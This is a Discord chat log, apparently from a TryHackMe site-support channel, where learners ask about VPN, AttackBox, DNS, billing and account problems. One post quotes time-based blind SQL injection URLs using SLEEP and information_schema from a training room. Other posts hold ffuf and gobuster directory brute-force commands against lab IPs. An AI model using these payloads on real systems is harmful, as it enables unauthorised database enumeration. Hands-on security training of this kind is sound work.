      if (vm.roomId === "kali") {
        return;
      }
      fetch("/api/vm/terminate", {
        method: "POST",
        body: JSON.stringify({ code: vm.roomId }),
        headers: {
          "csrf-token": csrfToken,
          "Content-Type": "application/json",
        },
      });
    })
  );```
#

this is the script right...someone gave me here in this channel only

high meteor
#

heyy sorry.. im super new to coding and everything.. i was trying to access a wordlist but for some reasons it say it could not find the file.. but i cant seem to be able to find the right path to the file

#

im running on virtual machine and using open vpn

#

could someone help pls 😦

wooden ruin
#

what kind of wordlist for directory brute forcing??fuzzing??

high meteor
#

the command should be ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://MACHINE_IP/FUZZ

wooden ruin
#

i am able to access the machine...but its like i am feeling half blind...cant see timer and button to stop it

jovial mango
high meteor
#

yes

jovial mango
#

Use find command to locate file path

wooden ruin
#

i tried that as well...i was idle for 2> hrs so that i could see start button again..but once again it showing same error which i shared above

high meteor
#

okie ill do that now

high meteor
scenic torrentBOT
#

Gave +1 Rep to @jovial mango

wooden ruin
#

issue since yesterday....yesterday machine was not accessbile via xfreerdp

#

i want to do all this excercise on bofprep so that i can move to other rooms..but struggling to access since yesterday

#

😦

teal sonnet
#

Whats a smart way to move a wordlist provided by THM into the attackbox?

#

I dont want to log into THM inside the attackbox to retrieve it.

high meteor
#

heyy guys.. im still not able to find the wordlist.. the exact command i put in is:
gobuster dir --url http://10.10.53.66/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt

#

im running this command on my vm and i have open vpn on

#

could someone help 😦

slate pilot
high meteor
#

it says command not found

slate pilot
#

You will be taken to the directory where seclists is installed @high meteor .

slate pilot
high meteor
#

okie

slate pilot
high meteor
#

it works!

slate pilot
#

Right....

high meteor
#

now im in the directory

slate pilot
# 
/usr/share/seclists
#

Is the default directory.

slate pilot
high meteor
#

omg it works!! thank you!!!

#

yah for this room

#

content discovery

slate pilot
#

Is that an info room ?

high meteor
#

wdym by info room haha

#

sorry im super new to this

slate pilot
#

info rooms.

#

They are for learning.

high meteor
#

this is from one of my learning paths

#

yah

#

it is!

slate pilot
#

Is it free ??

high meteor
#

hmm that i dont know, because i have already subscribed to THM

#

so it doesnt actually tell me which one is free or not

slate pilot
#

I found it again.

#

It's an easy room.

#

I'll complete the room with you if you like.

#

I haven't done it yet.

high meteor
#

yah 😦 im a 1st year computer science student, wanna try to learn these things before i go into the actual cyber course

#

thats why im super new to all this

high meteor
scenic torrentBOT
#

Gave +1 Rep to @slate pilot

slate pilot
#

Oh, fair enough. That's alright.

high meteor
#

ill dm you

#

thank you so much for the help guys!!

slate pilot
teal sonnet
brisk linden
#

is there a way to terminate all the machines you have open without going back and finding the room?

slate pilot
teal sonnet
glad oyster
brisk linden
glad oyster
#

It's in the very first pinned message

brisk linden
#

that says leave subscriber rooms, why would you want to leave subscriber rooms?

glad oyster
brisk linden
#

I did thanks. Why do you want to leave subscriber rooms? Is there a penalty for being in too many rooms?

glad oyster
brisk linden
#

Yes I've seen that now thanks. I'm interested about leaving rooms now

glad oyster
#

The main reason for leaving is that in case you end your sub, you can leave the rooms so that it makes it cleaner to view in your currently active rooms

halcyon gate
#

Hey guys, does anyone know the reason behind my chmod could be not working?

#

I need to change ssh key but it doesn't work no matter how many times I do it

errant valley
#

Is anyone else getting an error 404 when trying to download their OpenVPN configuration file?

#

There's only one US VIP server? Cool 🤣

dreamy plaza
#

I assume you have an ssh key that needs to change perms, but ssh is not accepting it

woeful hedge
vernal cave
#

Hi guys, I'm doing Decode text "Test" to MD5 => get Hex => Encode Hex => String "0cbc6611f5540bd0809a388dc95a615b" Hex of "Test"
now I wanna trace back from the String "0cbc6611f5540bd0809a388dc95a615b", how I can do it?
I have tried many way but cannot Decode 0cbc6611f5540bd0809a388dc95a615b to "Test"

broken bear
#

Do you know what a hash is formally defined as?

#

Also, this channel is primarly for VPN troubleshooting, please take this question to #infosec-general @vernal cave

dreamy plaza
#

that’s the point of a hash. It’s a one way conversion of an input

#

if it was encryption, it would be a different story, but it’s not

dreamy plaza
broken bear
dreamy plaza
#

but we’re getting off topic

icy girder
#

Hello! I sent an e-mail regarding student discount to support@tryhackme.com a few days ago. May I ask what is the average response time?

weary spindle
icy girder
weary spindle
# icy girder On Thursday

Just wait patiently some more, If you don't hear back, send a follow up E-mail on Thursday this week, or after,

Just to clarify, which E-mail did you send it to?

icy girder
weary spindle
icy girder
scenic torrentBOT
#

Gave +1 Rep to @weary spindle

weary spindle
hexed fox
#

hello guys, is there anyone having a problem in "vulnversity" room while browsing the given ip?

weary spindle
halcyon gate
waxen viper
elfin urchin
#

how i can use attackbox more faster , It's too delay on browser

weary spindle
#

Subscribe, faster machine.

Or just use a VM if you have the resources.

crisp drift
#

When new rooms go live / public, is the Official walkthrough public by default immediately or is there a time lapse?

weary spindle
crisp drift
weary spindle
eager fulcrum
crisp drift
crisp drift
tawdry orbit
gusty cypress
#

hey, I'm having some connection issues with the machines, like they are randomly shutting down or don't respond at all for a limited period of time(from 1 min to 10 min)
Any thoughts on that pls?

already tried:

  1. vpn restart
  2. network connection check
  3. vm: guest<->host/network data transfer check
  4. updates up to date on the vm

pls direct mention( @gusty cypress ) for reply thanks 😗

dreamy plaza
fading shadow
#

Why when registering using "Sign Up with Google" my account becomes UK region, and the account can't be deleted?
However, when I try to Sign Up on another account without "Sign Up with Google", the account displays the correct region and the account can be deleted.

image.png
weary spindle
#

Is your Google account a GB Google account?

fading shadow
wicked sky
#

verfiy user?

naive dust
#

Hey guys anyone can help me with the THM subscription..

grizzled zenith
#

Hi, I have an issue on Linux Fundamentals Part 2, when I try to type the password : tryhackme it said permission denied, please try again. anyone can help me out?

weary spindle
grizzled zenith
#

hey yes

weary spindle
grizzled zenith
#

ok I will thanks

weary spindle
grizzled zenith
#

ah lol yes I just seen that

slate pilot
#

Would someone plz help me troubleshoot Netcat ???

slim heath
#

I'm quite certain that I previously completed the Yara room, however now it's showing that it's unanswered. Has there been any updates to the room since this happens?

slim heath
fading shadow
marsh saffron
#

just curious..do THM historically run offers during black friday etc?

native cairn
#

THM Threat Intelligence tools room Phishtool machine has time out issues when trying to browse the web. It makes it so you are unable to complete the lab.

bronze vale
#

TryHackMe’s network works incredibly similarly to how data is transferred across the internet.

If you’re just casually browsing the internet, is your operating system/ computer safe enough to be used without worry?

The answer should be yes, and if it isn’t, this is why we use Virtual Machine. Not only is Linux kept up to date with all the newest security patches, but if you somehow get ‘hacked’, they’re not on your computer directly (although the likelihood of this happening is down to what you do to your operating system)

https://tryhackme.com/resources/blog/tryhackmes-vpn-explained

TryHackMe
TryHackMe's VPN Explained

Understand how TryHackMe's VPN works, what you can expect when connecting and how you can practice good security hygiene.

scenic torrentBOT
#

Gave +1 Rep to @bronze vale

forest scarab
smoky crypt
#

hey, i have a problem, my THM account is linked to an account which i do not have access, and i want to link it to my actual discord account, can the moderation unlink my account thm from my old discord account?

crystal marlin
exotic stag
#

Short question. So I was using VBox and Kali or any other vm and my problem is / was that it was really slow in terms of: reactiontime to anything like moving or resizing a window or even entering any keyboard strokes and getting them updated on the screen.
Then I switched to WSL2 and everything runs smoothly and snappy now.
But why did it do so? What did I misconfigure in V-Box or Windows that this could happen.
(And it is not about my hardware cause latest gen high end should do the job)

naive dust
#

Is this just me having this issue?

image.png
exotic stag
naive dust
#

Have had the same issue for hours now

naive dust
exotic stag
#

I dont think that this is the right room for that type of question

exotic ridge
#

hmm, what channel do you think

tawdry orbit
naive dust
tawdry orbit
naive dust
#

Sure thing

#

Same issue still, tried changing regions and still same issue

tawdry orbit
naive dust
#

Tried finding another room with an attached vm to see if it's on my end, couldn't find one

#

free

tawdry orbit
#

Let me check. 🙂

#

Can you click on the i (machine information icon) and DM me a screenshot of what it looks like?

naive dust
#

Done

tawdry orbit
#

Problem seems to only occur in Firefox. No problem in Chrome so far. 😄

subtle bay
#

read up on Kali VM's and search for top tips after installing it... update it... use the fast and free firewall: ufw (of gufw if you like a GUI) <-- default settings are a great start

#

whilst I'm here, wondered if anyone else have been experiencing box timer extension issues? I sometimes get warnings or expired notifications after doing extensions. No biggie but thought I'd ask if it was common

naive dust
naive dust
spring hill
#

Hi guys, I have a problem about connect to "Access Machines" by OpenVPN.
Could you help me?

weary spindle
#

What problem do you have?

spring hill
#

404 - after click it

weary spindle
#

Change the server.

#

Regen, then change back, or download if it's still one close to you.

weary spindle
spring hill
#

Thank you so much

#

I solved my problem

weary spindle
#

🙂

subtle bay
scenic torrentBOT
#

Gave +1 Rep to @honest patio

tiny sorrel
#

dumb question how can i download THM files for rooms on to the attackbox

#

without it freaking out

#

since when i sign into THM on the attackbox it loads up my attackbox again inside the attackbox and goes nuts lol

weary spindle
tiny sorrel
weary spindle
#

However all files needed for rooms should already be on the attackbox.

#

However, not always.

#

Which room are you doing?

tiny sorrel
#

still john the ripper

#

task 9

#

so am needing the secure.zip

weary spindle
#

locate secure.zip

tiny sorrel
#

will do that to see if its already on here maybe it is

#

ya returns nothing

#

dont think its pre-installed on this one

weary spindle
#

Yeah, it's not.

tiny sorrel
#

ya and even if i close the attackbox on it and then download it

#

it just freezes the attackbox

#

so seems i will need to get a VM to finish these lessons if i wanna do the zip and rar files

uneven lintel
#

Hello, on Linux fundamentals part 1 they ask us to use "whoami" command and write the name of the user logged in but i'm logged as root in AttackBox (I found the answer but it may block some people in the future)

weary spindle
#

Is the machine you're required to be in.

image.png
indigo plank
#

Hlo sir I am loss my streak please help me

weary spindle
sharp bisonBOT
weary spindle
#

Support is the only people whom can fix this.

uneven lintel
#

I pressed start machine

#

but at first it didn't open the side panel so while it was starting I clicked "AttackBox" instead of openVPN idk if it did something

weary spindle
#

Click there.

#

It should let switch machines.

weary spindle
uneven lintel
#

I do have the linuxfundpart too but it has no GUI

weary spindle
#

You need to be in the linuxfundpart machine.

uneven lintel
#

Ohh ok my bad

#

thanks ! it's disturbing lmao

hazy birch
#

Hi, I have a billing problem

weary spindle
#

!email

sharp bisonBOT
hazy birch
#

Who can help me

weary spindle
#

Support can.

hazy birch
#

I have sent several emails

#

No answer

weary spindle
#

How many and how often?

hazy birch
#

Since last week

#

Like 4

weary spindle
#

You're pushing your down the bottom.

Just send one and wait patiently.

hazy birch
#

My moms credit card got stolen and we keep getting charges from tryhackme.com

#

She is in a nursing home

weary spindle
#

No point discussing it here.

#

Nothing can be done.

hazy birch
#

Is there a phone number that I can call

weary spindle
#

No, only E-mail

zealous yoke
hazy birch
#

I did

#

You keep charging us somehow

zealous yoke
#

Then you need to contact your bank again

hazy birch
#

You need to cancel her account

weary spindle
#

The bank can cancel the charges.

zealous yoke
hazy birch
#

Your customer service is far from great

weary spindle
#

Customer Service is amazing.

You just need to patient.

zealous heart
#

Hi, I have a problem with Breaching AD-room and getting DNS to work.

weary spindle
#

Attackbox or VM?

zealous heart
weary spindle
#

Have you downloaded the Breaching VPN pack?

zealous heart
#

I have VPN breachingad on.

weary spindle
#

Which subnet are you in?

zealous heart
#

10.50.52.31/26

weary spindle
#

So your THMDC is 10.200.52.101?

zealous heart
#

It says 10.200.54.101 at the room display.

weary spindle
#

Right, let's work with that

zealous heart
#

Okay. What information you need?

weary spindle
#

ip a s

Do you have an interface called breachad ?

zealous heart
#

Yeah, I have it.

weary spindle
#

Ok,

cat /etc/resolv.conf

zealous heart
#

┌──(kali㉿kali)-[~/TryHackMe]
└─$ cat /etc/resolv.conf

Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)

DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN

127.0.0.53 is the systemd-resolved stub resolver.

run "resolvectl status" to see details about the actual nameservers.

nameserver 1.1.1.1
nameserver 8.8.8.8
nameserver 8.8.4.4
search 1.1.1.1

weary spindle
#

Edit that and place nameserver 10.200.54.101 at the top.

zealous heart
#

Done

weary spindle
#

nslookup thmdc.za.tryhackme.com

zealous heart
#

┌──(kali㉿kali)-[~/TryHackMe]
└─$ nslookup thmdc.za.tryhackme.com
;; communications error to 10.200.54.101#53: connection refused
;; communications error to 10.200.54.101#53: connection refused
;; communications error to 10.200.54.101#53: connection refused
Server: 1.1.1.1
Address: 1.1.1.1#53

** server can't find thmdc.za.tryhackme.com: NXDOMAIN

weary spindle
#

Did you try that in root?

zealous heart
#

Did it as sudo but I'll try it again as root.

weary spindle
#

!docs verify

sharp bisonBOT
zealous heart
#

Still the same message.

weary spindle
#

if you verify you can share pics.

zealous heart
#

Just a moment, I'll verify.

weary spindle
#

Is that what you see?

zealous heart
#

Okay.

weary spindle
#

That should have worked.

zealous heart
#

I'll take pics of IPv4 settings.

weary spindle
#

Did you add that manually?

zealous heart
#

Yeah, tried to follow instructions first, then followd youtube guide

weary spindle
#

Nah, set the IPv4 to auto.

zealous heart
#

Okay, sec

#

Removed IP:s and set to DHCP (automatic)

weary spindle
#

Now try nslookup again

zealous heart
#

This was the guide at the room intro.

image.png
#

Do I need to do systemctl restart?

weary spindle
#

Yeah, that's the DNS, not IPv4.

weary spindle
zealous heart
#

Fuck. Yeah. Re-edit.

#

Is it possible that my office firewall or over protective SOC team blocks it?

weary spindle
#

Yes.

#

Lol.

zealous heart
#

goddamit.

#

Not the first time they ruin all the fun.

weary spindle
#

What does your output say on the VPN script?

zealous heart
#

Sec. I opened it as a daemon so I'll need to dig it up.

weary spindle
#

Not in terminal?

zealous heart
#

Run the VPN connection as a daemon in the background

sudo openvpn --config ./breachingad.ovpn --daemon

#

With that.

weary spindle
#

Ah.

zealous heart
vernal coyote
#

Hello. I am in Sysinternals Room but my machine is not starting

weary spindle
zealous heart
weary spindle
zealous heart
weary spindle
#

Oh no.

it should work now.

zealous heart
weary spindle
zealous heart
#

Okay, something new. I got a ping from 10.200.54.101

weary spindle
#

Oh.

Does nslookup now?

zealous heart
#

Still a nope.

weary spindle
#

Can you view this page?

zealous heart
#

Nope.

weary spindle
#

What does this page look like?

image.png
zealous heart
weary spindle
#

What about the top right of that page?

zealous heart
#

I think I have to give up soon. Spent 2 hours of working time on this trouble shooting.

weary spindle
#

Maybe.

It's strange how it didn't work.

All I did was change the nameserver and stared the VPN.

zealous heart
#

I'll try checking all and the start the vpn again after it.

#

Yeap, nope.

#

I give up and cry to our SOC tomorrow to get this sorted out.

weary spindle
#

Try it at home?

zealous heart
#

Yeah. That might work.

#

Still bit bummed. I believe they've set up special fw rules for my team. -_-

#

Thank you anyway. Now at least I have a clear picture how to do this at home.

zealous heart
scenic torrentBOT
#

Gave +1 Rep to @weary spindle

weary spindle
zealous heart
#

^^

fervent sluice
#

Hello, everyone ,
I forgot my password and I can't access my email address right now. Is there another way to change it?

weary spindle
#

Do you know your username?

fervent sluice
#

yes its the same as in discord

#

and i am still logtin

weary spindle
#

Try logging in with your username:password.

fervent sluice
#

i was able to change my email adress

#

But I don't get the password reset email

#

nevermind i got it now

lone quail
#

I might have asked this question before. But is there a way to change my name on TryHackMe? Or is that pretty much a no go?

weary spindle
sharp bisonBOT
weary spindle
#

You need to contact support.

lone quail
fervent sluice
#

nevermind thx for your help 😄

#

i was able to fix it on my own

#

😄

lone quail
scenic torrentBOT
#

Gave +1 Rep to @weary spindle

subtle pebble
#

can i get help with a linux problem in here ? paid thm member

plush bay
#

nothing much

#

it starts... and runs like expected

#

just you can't connect to it

lean grove
#

Hey guys, for the Mr Robot CTF, it says that I need to connect using OpenVPN - does that meat that I cannot use the AttackBox from the browser for that practice lab?

#

ok thanks

scenic torrentBOT
#

Gave +1 Rep to @gray loom

sharp bisonBOT
marble cobalt
#

Hi
I do the path cyber defense,
I see you add new path is called SOC tier 1,
When I come back to my path because I don't finish it, I get the room Yara is not complicated, although I did it, I did all the category is called: 'Threat and Vulnerability Management'

why? what happened?
Or THM make new room for Yara?

weary spindle
#

I'm sure Yara had a new room done.

#

Check how old it is at the bottom/or press more/

marble cobalt
#

this is what I see on the down page

image.png
plush bay
#

do that in both of the linked instances and you should see if there is a difference

#

if the task number and questions don't that is

zealous yoke
#

as of like ... last week?

#

idek and I'm the one who done it KEKW

wild basalt
#

Hello all , I’m a seeing an issue with Time based blind SQLi in the SQL injection part
Here the table name is supposed to be USER but it also taking “analytics”
Since the task is to try all the characters and when somebody starts with a the request time is showing 5:002 which means true
https://website.thm/analytics?referrer=admin123' UNION SELECT SLEEP(5),2 FROM information_schema.tables WHERE table_schema = 'sqli_four' and table_name like 'a%';--
time stamp :5.002 which is true
https://website.thm/analytics?referrer=admin123' UNION SELECT SLEEP(5),2 FROM information_schema.tables WHERE table_schema = 'sqli_four' and table_name like 'u%';--
time stamp: 5:002 which is also true
if somebody starts with letter a then they will end up with table analytics which we cant use to get further answer and time consuming

halcyon gate
#

Has anyone done the room "Flatline"?

#

Literally been like 10min the machine still hasn't booted up

#

Ain't responding to pings nor anything

plush bay
#

you do know some tryhackme rooms target machines don't respond to pings right???

#

if you check your public ip:s country location on the internet what does it say is your country???? because it is based on that

#

dunno what to do then ¯_(ツ)_/¯

halcyon gate
plush bay
#

!email

sharp bisonBOT
plush bay
plush bay
#

it states kinda clearly on that page that all support is over email

scenic torrentBOT
#

Gave +1 Rep to @plush bay

jade night
#

Hey all, Is there anyone else than me that has issue with downloading open VPN config file? It's been a while since I have the 404 issue

opal cloud
#

good evening I need help with attack box - it is not pulling up local Acme IT Support website

#

@sharp bear

weary spindle
opal cloud
#

@weary spindle I am not a free user tho

weary spindle
opal cloud
weary spindle
#

!docs verify

sharp bisonBOT
weary spindle
#

You'll need to share a pic, I can't access my laptop at the minute.

opal cloud
#

one min

#

there

#

@weary spindle

weary spindle
#

Okay, just the screenshot now. Lol

opal cloud
#

@weary spindle

weary spindle
#

Why are you doxxing yourself?

Delete that.

#

I meant of the website not working...

opal cloud
#

@weary spindle specify pls

#

one min

#

@weary spindle now it is working for some reason

#

sorry for bothering

weary spindle
opal cloud
#

@weary spindle I did not terminate box before taking a break. Pc went into hibernate - when I came back and added more time (time was long gone) box bugged out

weary spindle
#

Yeah, it will do that.

opal cloud
#

this is why it would not find Acme IT support website

naive dust
#

THM down

pastel tinsel
#

Yes, staff has aknowledged and are aware of the issues and will fix it asap, sadly they do not have a timeframe of when the site is back up

naive dust
#

👍🏻

kind monolith
#

Content Security Policy: The page’s settings blocked the loading of a resource at https://tryhackme.com/favicon.ico (“default-src”).
This is the error shown in the console

quartz tendon
scenic torrentBOT
#

Gave +1 Rep to @quiet hazel

pastel tinsel
wicked peak
#

Looks like we're back online!

urban anchor
#

I have a problem with VPN and can't really track it down. The connection seems to be established (the access page tells me that), but somehow I can't connect to any of the rooms machines. The troubleshoot script doesn't help either, it just says: "MTU value failed at 1000, aborting MTU check. Something went wrong -- please ask for further assistance in the TryHackMe Discord server, subreddit, or forum". I have already regenerated the VPN file with the same server and with another server. Can anybody help me with this?

weary spindle
urban anchor
#

I'm using the standard openvpn configuration file from THM with the "EU-Regular-2" server

weary spindle
#

But do you use a different one?

urban anchor
#

No, this is the only VPN I'm currently using

weary spindle
#

sudo ip link set dev tun0 mtu 1200

Try running that in your terminal and trying to connect.

urban anchor
#

thank you, that worked

naive dust
#

Thanks @quartz tendon you give me my first “rep” 😀

scenic torrentBOT
#

Gave +1 Rep to @quartz tendon

terse harness
#

I'm in the new Yara room and I am having trouble copy-pasting out of the attackbox. What am I forgetting or overlooking?

naive dust
#

On a low end MacBook 8g do you recommend VMware or virtual box for a Kali image?

shell sparrow
naive dust
#

Sweet I'll try it out

shell sparrow
#

👍🏻

hot niche
#

hello
i am working on my openvpn

#

i have a problem with gobuster
i have the good wordlist and the good url but i don't get the result

image.png
#

I don't understand why because why i do that on the attackbox it works

#

please help

#

the result should be this

image.png
terse harness
#

Thank you for reaching out. Yeah, that usually how it works, but the yara room doesn't have the clipboard option/arrow, no gui either, just the cli

scenic torrentBOT
#

Gave +1 Rep to @gray loom

teal sonnet
ember island
#

probably off topic here but just a quick question. I replaced a Macbook Air Model: 2019 screen, and after full replacement the computer is not getting power. I don't see a computer backlight or anything like that. Any pointerS?

chilly pike
#

Hey @ember island this channel is tech support for THM related issues, not a general tech support channel. Sorry!

snow canopy
#

Hello @crystal marlin. But if I try to RDP using ssh here, I'm getting error.
I am also connected to OpenVPN. Can you help me regarding that?

woeful hedge
snow canopy
#

I am not finding any options to send image. How can I send the screenshots?

woeful hedge
#

You need to verify to post media

#

!docs verify

sharp bisonBOT
snow canopy
woeful hedge
#

Did you start the machine?

#

Click the green button on the right hand side of task 1

#

Also, RDP is not SSH

snow canopy
woeful hedge
#

Ok, so it should launch the windows machine to the right in the same window like it says

#

You don't have to RDP

snow canopy
woeful hedge
#

That is a good learning opportunity for you and it's now outside of #site-support purview . I suggest you research how to RDP from a Linux machine to a windows machine. Plenty of documentation

snow canopy
scenic torrentBOT
#

Gave +1 Rep to @woeful hedge

harsh warren
#

hi guys, today I can't connect to VPN. I need a help 😢

weary spindle
#

OK, what have you tried?

gray sigil
weary spindle
#

What experiences are you experiencing.

We don't know, we can't helpm

nimble marten
#

if i canceled my subscription will i lose my progress?

ashen shale
#

i had a problem with my pc, so i missed day on tryhackme, i was in 91 day streak. is there a way to restore my progress?

woeful hedge